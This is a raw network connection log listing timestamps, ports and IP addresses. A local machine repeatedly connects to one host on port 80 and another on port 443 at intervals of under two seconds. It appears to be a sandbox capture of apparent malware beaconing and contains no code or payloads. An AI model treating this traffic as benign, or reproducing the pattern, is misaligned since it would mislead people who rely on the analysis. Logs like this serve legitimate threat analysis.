Jan 10, 2025 23:12:29.449084997 CET	50013	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:29.453953028 CET	80	50013	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:30.129235983 CET	80	50013	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:30.131114006 CET	50014	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:30.131237030 CET	443	50014	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:30.131357908 CET	50014	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:30.131753922 CET	50014	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:30.131783962 CET	443	50014	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:30.180253029 CET	50013	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:30.764349937 CET	443	50014	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:30.766067982 CET	50014	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:30.766097069 CET	443	50014	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:30.766156912 CET	50014	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:30.766165972 CET	443	50014	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:30.991671085 CET	443	50014	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:30.991883039 CET	443	50014	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:30.991947889 CET	50014	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:30.993474007 CET	50014	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:31.074763060 CET	50013	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:31.076488972 CET	50015	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:31.079838037 CET	80	50013	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:31.079898119 CET	50013	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:31.081295967 CET	80	50015	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:31.081368923 CET	50015	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:31.081629038 CET	50015	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:31.086441040 CET	80	50015	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:31.791682005 CET	80	50015	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:31.793494940 CET	50016	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:31.793548107 CET	443	50016	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:31.793823957 CET	50016	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:31.794059038 CET	50016	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:31.794078112 CET	443	50016	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:31.836639881 CET	50015	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:32.418206930 CET	443	50016	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:32.421983957 CET	50016	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:32.421999931 CET	443	50016	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:32.422111988 CET	50016	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:32.422118902 CET	443	50016	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:32.714766026 CET	443	50016	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:32.714848042 CET	443	50016	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:32.715152025 CET	50016	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:32.715727091 CET	50016	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:32.719464064 CET	50015	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:32.720957994 CET	50017	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:32.724440098 CET	80	50015	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:32.724519968 CET	50015	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:32.725893974 CET	80	50017	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:32.725964069 CET	50017	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:32.726120949 CET	50017	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:32.730870962 CET	80	50017	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:33.409117937 CET	80	50017	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:33.411437988 CET	50018	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:33.411523104 CET	443	50018	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:33.411916971 CET	50018	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:33.411916971 CET	50018	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:33.411962986 CET	443	50018	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:33.461776018 CET	50017	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:34.022046089 CET	443	50018	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:34.024492025 CET	50018	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:34.024513006 CET	443	50018	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:34.024575949 CET	50018	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:34.024586916 CET	443	50018	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:34.305852890 CET	443	50018	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:34.305954933 CET	443	50018	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:34.306025982 CET	50018	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:34.306672096 CET	50018	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:34.310087919 CET	50017	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:34.311419010 CET	50019	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:34.315208912 CET	80	50017	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:34.315310955 CET	50017	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:34.316298962 CET	80	50019	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:34.316384077 CET	50019	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:34.316557884 CET	50019	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:34.321341991 CET	80	50019	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:35.010158062 CET	80	50019	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:35.011540890 CET	50020	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:35.011641026 CET	443	50020	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:35.011739969 CET	50020	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:35.012053967 CET	50020	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:35.012089014 CET	443	50020	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:35.055233002 CET	50019	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:35.617674112 CET	443	50020	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:35.619677067 CET	50020	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:35.619721889 CET	443	50020	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:35.619784117 CET	50020	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:35.619791985 CET	443	50020	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:35.900831938 CET	443	50020	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:35.900913954 CET	443	50020	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:35.900964975 CET	50020	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:35.901428938 CET	50020	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:35.904936075 CET	50019	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:35.906033993 CET	50021	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:35.910255909 CET	80	50019	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:35.910305023 CET	50019	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:35.910897970 CET	80	50021	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:35.910962105 CET	50021	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:35.911058903 CET	50021	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:35.915877104 CET	80	50021	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:36.591614962 CET	80	50021	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:36.593102932 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:36.593166113 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:36.593261957 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:36.593575954 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:36.593594074 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:36.633424997 CET	50021	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:37.211138010 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:37.213567972 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:37.213598967 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:37.213677883 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:37.213689089 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:37.515240908 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:37.515469074 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:37.515561104 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:37.515939951 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:37.519077063 CET	50021	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:37.520329952 CET	50023	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:37.524358988 CET	80	50021	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:37.524449110 CET	50021	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:37.526165962 CET	80	50023	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:37.526242971 CET	50023	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:37.526413918 CET	50023	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:37.532490969 CET	80	50023	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:38.196589947 CET	80	50023	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:38.198122025 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:38.198177099 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:38.198261976 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:38.198591948 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:38.198602915 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:38.242796898 CET	50023	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:38.821979046 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:38.823753119 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:38.823793888 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:38.823856115 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:38.823863029 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:39.041309118 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:39.041536093 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:39.041599989 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:39.041963100 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:39.045051098 CET	50023	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:39.046092033 CET	50025	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:39.050088882 CET	80	50023	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:39.050261974 CET	50023	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:39.050893068 CET	80	50025	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:39.050977945 CET	50025	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:39.051131010 CET	50025	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:39.056999922 CET	80	50025	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:39.750917912 CET	80	50025	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:39.752453089 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:39.752558947 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:39.752650023 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:39.752958059 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:39.752994061 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:39.805277109 CET	50025	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:40.366624117 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:40.368860006 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:40.368890047 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:40.368937016 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:40.368947029 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:40.813447952 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:40.813540936 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:40.813599110 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:40.814162970 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:40.817703009 CET	50025	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:40.818923950 CET	50027	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:40.822664976 CET	80	50025	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:40.822746992 CET	50025	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:40.823735952 CET	80	50027	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:40.823793888 CET	50027	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:40.823911905 CET	50027	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:40.828696012 CET	80	50027	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:41.525806904 CET	80	50027	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:41.527089119 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:41.527137041 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:41.527203083 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:41.527556896 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:41.527568102 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:41.570864916 CET	50027	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:42.140593052 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:42.142416954 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:42.142452002 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:42.142514944 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:42.142525911 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:42.356421947 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:42.356518030 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:42.356606007 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:42.356981039 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:42.368911028 CET	50027	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:42.369992971 CET	50029	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:42.373862028 CET	80	50027	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:42.373931885 CET	50027	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:42.374797106 CET	80	50029	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:42.374864101 CET	50029	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:42.375016928 CET	50029	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:42.379750013 CET	80	50029	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:43.047513008 CET	80	50029	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:43.048957109 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:43.049005032 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:43.049063921 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:43.049385071 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:43.049403906 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:43.102129936 CET	50029	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:43.682527065 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:43.684652090 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:43.684689999 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:43.684736013 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:43.684742928 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:43.983858109 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:43.984045029 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:43.984106064 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:43.984422922 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:43.987679958 CET	50029	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:43.988836050 CET	50031	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:43.992661953 CET	80	50029	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:43.992738008 CET	50029	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:43.993959904 CET	80	50031	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:43.994023085 CET	50031	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:43.994162083 CET	50031	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:43.998982906 CET	80	50031	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:44.685190916 CET	80	50031	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:44.687561035 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:44.687604904 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:44.687818050 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:44.688102961 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:44.688116074 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:44.727149963 CET	50031	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:45.320503950 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:45.322588921 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:45.322616100 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:45.322679996 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:45.322685957 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:45.635874987 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:45.636073112 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:45.636135101 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:45.636488914 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:45.639971018 CET	50031	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:45.640588045 CET	50033	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:45.645060062 CET	80	50031	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:45.645138025 CET	50031	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:45.645452976 CET	80	50033	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:45.645534992 CET	50033	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:45.645616055 CET	50033	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:45.650430918 CET	80	50033	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:46.317318916 CET	80	50033	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:46.318979979 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:46.319024086 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:46.319120884 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:46.319483995 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:46.319495916 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:46.367791891 CET	50033	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:46.953903913 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:46.956125021 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:46.956152916 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:46.956231117 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:46.956240892 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:47.246736050 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:47.246826887 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:47.246918917 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:47.247554064 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:47.250704050 CET	50033	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:47.251800060 CET	50035	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:47.255846024 CET	80	50033	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:47.256052971 CET	50033	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:47.256720066 CET	80	50035	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:47.256851912 CET	50035	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:47.257117033 CET	50035	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:47.261992931 CET	80	50035	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:47.939408064 CET	80	50035	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:47.940869093 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:47.940908909 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:47.941005945 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:47.941334009 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:47.941344976 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:47.992857933 CET	50035	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:48.589447975 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:48.591515064 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:48.591550112 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:48.591640949 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:48.591648102 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:48.883399010 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:48.883476973 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:48.883569002 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:48.884007931 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:48.887654066 CET	50035	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:48.888655901 CET	50037	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:48.892669916 CET	80	50035	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:48.892733097 CET	50035	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:48.893512964 CET	80	50037	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:48.893580914 CET	50037	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:48.893722057 CET	50037	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:48.898572922 CET	80	50037	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:49.585043907 CET	80	50037	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:49.590389967 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:49.590431929 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:49.590497971 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:49.590671062 CET	49980	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:49.591095924 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:49.591105938 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:49.633398056 CET	50037	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:50.195063114 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:50.197145939 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:50.197174072 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:50.197242022 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:50.197247982 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:50.406912088 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:50.406997919 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:50.407124996 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:50.407740116 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:50.411093950 CET	50037	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:50.412293911 CET	50039	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:50.416145086 CET	80	50037	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:50.416225910 CET	50037	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:50.417082071 CET	80	50039	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:50.417150974 CET	50039	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:50.417284012 CET	50039	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:50.422014952 CET	80	50039	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:51.114533901 CET	80	50039	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:51.116153002 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:51.116209030 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:51.116302967 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:51.116642952 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:51.116653919 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:51.164844990 CET	50039	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:51.748858929 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:51.750799894 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:51.750817060 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:51.750921965 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:51.750927925 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:52.085926056 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:52.086023092 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:52.086076975 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:52.086678982 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:52.090204000 CET	50039	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:52.091527939 CET	50041	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:52.096781015 CET	80	50039	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:52.096851110 CET	50039	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:52.097991943 CET	80	50041	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:52.098057985 CET	50041	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:52.098161936 CET	50041	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:52.102907896 CET	80	50041	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:52.793376923 CET	80	50041	132.226.247.73	192.168.2.9
